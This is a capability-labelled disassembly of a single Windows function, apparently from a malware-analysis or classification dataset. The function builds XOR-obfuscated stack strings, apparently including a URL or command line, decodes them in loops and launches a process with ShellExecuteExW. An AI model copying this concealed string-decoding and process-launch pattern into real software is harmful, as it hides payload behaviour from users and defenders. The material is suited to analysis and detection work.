Function at 0x1400491c0
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
call fcn.140048d50
mov dword [rsp + 0x62], 0xd65ed641
mov dword [rsp + 0x66], 0xd65cd65f
mov dword [rsp + 0x6a], 0xd614d65e
mov dword [rsp + 0x6e], 0xd61fd600
mov dword [rsp + 0x72], 0xd657d65c
mov dword [rsp + 0x76], 0xd65dd657
mov dword [rsp + 0x7a], 0xd618d654
mov dword [rsp + 0x7e], 0xd651d653
mov dword [rbp - 0x7e], 0xd659d64a
mov dword [rbp - 0x7a], 0xd64ed654
mov dword [rbp - 0x76], 0xd65fd659
mov dword [rbp - 0x72], 0xd630d64f
mov dword [rbp - 0x6e], 0xd62cd66f
mov dword [rbp - 0x6a], 0xd630d626
mov dword [rbp - 0x66], 0xd627d66a
mov dword [rbp - 0x62], 0xd63cd633
mov dword [rbp - 0x5e], 0xd629d628
mov dword [rbp - 0x5a], 0xd621d623
mov dword [rbp - 0x56], 0xd620d628
mov dword [rbp - 0x52], 0xd623d63b
mov dword [rbp - 0x4e], 0xd663d67e
mov dword [rbp - 0x4a], 0xd66dd662
mov dword [rbp - 0x46], 0xd66ed667
mov dword [rbp - 0x42], 0xd668d66e
mov dword [rbp - 0x3e], 0xd66cd668
mov dword [rbp - 0x3a], 0xd66ad66b
mov dword [rbp - 0x36], 0xd66ad66c
mov dword [rbp - 0x32], 0xd659d666
mov dword [rbp - 0x2e], 0xd652d659
mov dword [rbp - 0x2a], 0xd65dd655
mov dword [rbp - 0x26], 0xd657d64a
mov dword [rbp - 0x22], 0xd65bd655
mov dword [rbp - 0x1e], 0xd658d65f
mov dword [rbp - 0x1a], 0xd65bd65e
mov dword [rbp - 0x16], 0xd65ed65a
mov dword [rbp - 0x12], 0xd647d65a
mov dword [rbp - 0xe], 0xd64bd640
mov dword [rbp - 0xa], 0xd647d645
mov dword [rbp - 6], 0xd64ed644
mov dword [rbp - 2], 0xd64ad64f
mov dword [rbp + 2], 0xd64cd656
mov dword [rbp + 6], 0xd64ad64d
mov dword [rbp + 0xa], 0xd650d64b
mov dword [rbp + 0xe], 0xd6eed60f
mov dword [rbp + 0x12], 0xd6bdd6e6
mov dword [rbp + 0x16], 0xd6fcd6e6
mov dword [rbp + 0x1a], 0xd6b0d6b8
mov dword [rbp + 0x1e], 0xd6bbd6b1
mov dword [rbp + 0x22], 0xd6bfd6be
mov dword [rbp + 0x26], 0xd6bfd6ea
mov dword [rbp + 0x2a], 0xd6a8d6b8
mov dword [rbp + 0x2e], 0xd6e3d6e6
mov dword [rbp + 0x32], 0xd6a4d6ac
mov dword [rbp + 0x36], 0xd6a7d6a5
mov dword [rbp + 0x3a], 0xd6a6d6a3
mov dword [rbp + 0x3e], 0xd6fad6af
mov dword [rbp + 0x42], 0xd6bcd6ac
mov dword [rbp + 0x46], 0xd6f1d6f3
mov dword [rbp + 0x4a], 0xd6acd6a0
mov dword [rbp + 0x4e], 0xd696d6af
mov dword [rbp + 0x52], 0xd693d6c5
mov dword [rbp + 0x56], 0xd691d693
mov dword [rbp + 0x5a], 0xd692d69c
mov dword [rbp + 0x5e], 0xd6ccd6c4
mov dword [rbp + 0x62], 0xd6ccd6ca
mov dword [rbp + 0x66], 0xd694d69a
mov dword [rbp + 0x6a], 0xd698d695
mov dword [rbp + 0x6e], 0xd6d2d69c
mov dword [rbp + 0x72], 0xd6d7d6d2
mov dword [rbp + 0x76], 0xd6d2d682
mov dword [rbp + 0x7a], 0xd6d2d684
mov dword [rbp + 0x7e], 0xd68ed682
mov dword [rbp + 0x82], 0xd6dcd6dd
mov dword [rbp + 0x86], 0xd68fd68c
mov dword [rbp + 0x8a], 0xd6d8d6df
mov dword [rbp + 0x8e], 0xd6f5d687
mov dword [rbp + 0x92], 0xd6f6d6f5
mov dword [rbp + 0x96], 0xd6f6d6a0
mov dword [rbp + 0x9a], 0xd6f0d6f2
mov dword [rbp + 0x9e], 0xd6a9d6a6
xor ebx, ebx
mov dword [rbp + 0xa2], 0xd6abd6f8
mov word [rbp + 0x136], bx
mov ecx, ebx
mov dword [rbp + 0xa6], 0xd6fcd6a8
mov edi, 0x29d7
mov dword [rbp + 0xaa], 0xd6f9d6fe
mov dword [rbp + 0xae], 0xd6b3d6f6
mov dword [rbp + 0xb2], 0xd6b3d6b7
mov dword [rbp + 0xb6], 0xd6ecd6e7
mov dword [rbp + 0xba], 0xd6e7d6e4
mov dword [rbp + 0xbe], 0xd6ead6e7
mov dword [rbp + 0xc2], 0xd6b8d6ba
mov dword [rbp + 0xc6], 0xd6b9d6bd
mov dword [rbp + 0xca], 0xd6f8d6e8
mov dword [rbp + 0xce], 0xd6c6d6e2
mov dword [rbp + 0xd2], 0xd68dd687
mov dword [rbp + 0xd6], 0xd689d691
mov dword [rbp + 0xda], 0xd692d684
mov dword [rbp + 0xde], 0xd69fd6da
mov dword [rbp + 0xe2], 0xd688d68c
mov dword [rbp + 0xe6], 0xd6cad69b
mov dword [rbp + 0xea], 0xd69bd69c
mov dword [rbp + 0xee], 0xd69cd68e
mov dword [rbp + 0xf2], 0xd686d698
mov dword [rbp + 0xf6], 0xd6c9d68a
mov dword [rbp + 0xfa], 0xd699d699
mov dword [rbp + 0xfe], 0xd68bd684
mov dword [rbp + 0x102], 0xd69fd695
mov dword [rbp + 0x106], 0xd68fd688
mov dword [rbp + 0x10a], 0xd689d6db
mov dword [rbp + 0x10e], 0xd764d696
mov dword [rbp + 0x112], 0xd76ad775
mov dword [rbp + 0x116], 0xd735d73e
mov dword [rbp + 0x11a], 0xd736d737
mov dword [rbp + 0x11e], 0xd72ed735
mov dword [rbp + 0x122], 0xd76fd761
mov dword [rbp + 0x126], 0xd76bd762
mov dword [rbp + 0x12a], 0xd77ad765
mov dword [rbp + 0x12e], 0xd726d732
mov dword [rbp + 0x132], 0xd724d726
mov byte [rbp + 0x138], 1
nop word [rax + rax]
movzx eax, cx
sub ax, di
xor word [rsp + rcx*2 + 0x62], ax
inc rcx
cmp rcx, 0xea
jb 0x1400495d0
mov byte [rbp + 0x138], bl
mov rcx, rbx
mov dword [rsp + 0x20], 0xd610d66a
mov dword [rsp + 0x24], 0xd67bd677
mov dword [rsp + 0x28], 0xd640d644
mov dword [rsp + 0x2c], 0xd65fd64b
mov dword [rsp + 0x30], 0xd641d646
mov dword [rsp + 0x34], 0xd664d66f
mov dword [rsp + 0x38], 0xd677d679
mov dword [rsp + 0x3c], 0xd66b
mov byte [rsp + 0x40], 1
nop word [rax + rax]
movzx eax, cx
sub ax, di
xor word [rsp + rcx*2 + 0x20], ax
inc rcx
cmp rcx, 0xf
jb 0x140049640
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x40], bl
lea rcx, [rsp + 0x62]
call fcn.140048e80
xorps xmm0, xmm0
mov dword [rbp + 0x140], reloc.WS2_32.dll_WSASetLastError
xor eax, eax
lea rcx, [rbp + 0x140]
mov qword [rbp + 0x1a4], rax
mov dword [rbp + 0x1ac], eax
lea rax, [rsp + 0x20]
movups xmmword [rbp + 0x154], xmm0
mov qword [rbp + 0x158], rax
movups xmmword [rbp + 0x164], xmm0
mov dword [rbp + 0x170], 1
movups xmmword [rbp + 0x144], xmm0
movups xmmword [rbp + 0x174], xmm0
movups xmmword [rbp + 0x184], xmm0
movups xmmword [rbp + 0x194], xmm0
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x140049785
mov dword [rsp + 0x20], 0xd645d66a
mov dword [rsp + 0x24], 0xd658d645
mov dword [rsp + 0x28], 0xd64dd64c
mov dword [rsp + 0x2c], 0xd610d65b
mov dword [rsp + 0x30], 0xd653d657
mov dword [rsp + 0x34], 0xd640d640
mov dword [rsp + 0x38], 0xd674d615
mov dword [rsp + 0x3c], 0xd651d65b
mov dword [rsp + 0x40], 0xd652d65e
mov dword [rsp + 0x44], 0xd61cd64f
mov dword [rsp + 0x48], 0xd64bd64e
mov dword [rsp + 0x4c], 0xd630d64f
mov dword [rsp + 0x50], 0xd630d62e
mov dword [rsp + 0x54], 0xd665d637
mov dword [rsp + 0x58], 0xd668d66b
mov dword [rsp + 0x5c], 0xd64d
mov byte [rsp + 0x60], 1
nop dword [rax]
movzx eax, bx
sub ax, di
xor word [rsp + rbx*2 + 0x20], ax
inc rbx
cmp rbx, 0x1f
jb 0x140049760
lea rcx, [rsp + 0x20]
mov byte [rsp + 0x60], 0
call fcn.140044aa0
jmp 0x140049799
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x1400f7694]
call fcn.140044aa0
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret